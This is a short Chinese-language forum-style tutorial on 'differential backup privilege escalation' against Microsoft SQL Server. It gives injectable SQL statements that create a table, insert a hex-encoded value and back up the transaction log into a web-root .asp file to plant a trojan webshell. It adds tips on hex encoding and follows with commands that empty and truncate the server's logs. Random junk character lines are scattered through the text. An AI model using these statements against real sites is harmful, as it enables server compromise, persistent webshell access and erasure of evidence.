差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录
( Y; j% ]/ }5 U; z  I
select name from master.dbo.sysdatabases 仅列出name列的记录
! P7 R( p+ ^+ c7 }
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份

alter database 数据库名 set RECOVERY FULL--
0 ~! _) n4 Z, V0 w3 E
: c) o8 f4 I! W; @8 {. ~0 ^/ B) ccreate table cmd (a image)--                    \**cmd是创建的临时表

backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--

6 l4 E% Y' |& tinsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--

//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）

backup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)
8 r9 d7 f6 I! Q+ [
drop table cmd--
) X0 W6 G- K! ?$ ]

, i% o; O& ?; {- `- h' E' Z: B4 @) Rf:\
2 K; n" i6 z9 }: H/ o  ?16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

最好多加几个回车0d0a,要不会出错哈


1 l5 s  M! ~7 b3 A0 oSQL   Server日志清空方法   

+ e; j( J! H  J* W在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
: U# {. O7 P) e, B( r1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   
  z1 Y0 Z) m  l  d% B6 P: u6 `$ Z
2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   

3.收缩数据库：DBCC   SHRINKDATABASE(databasename)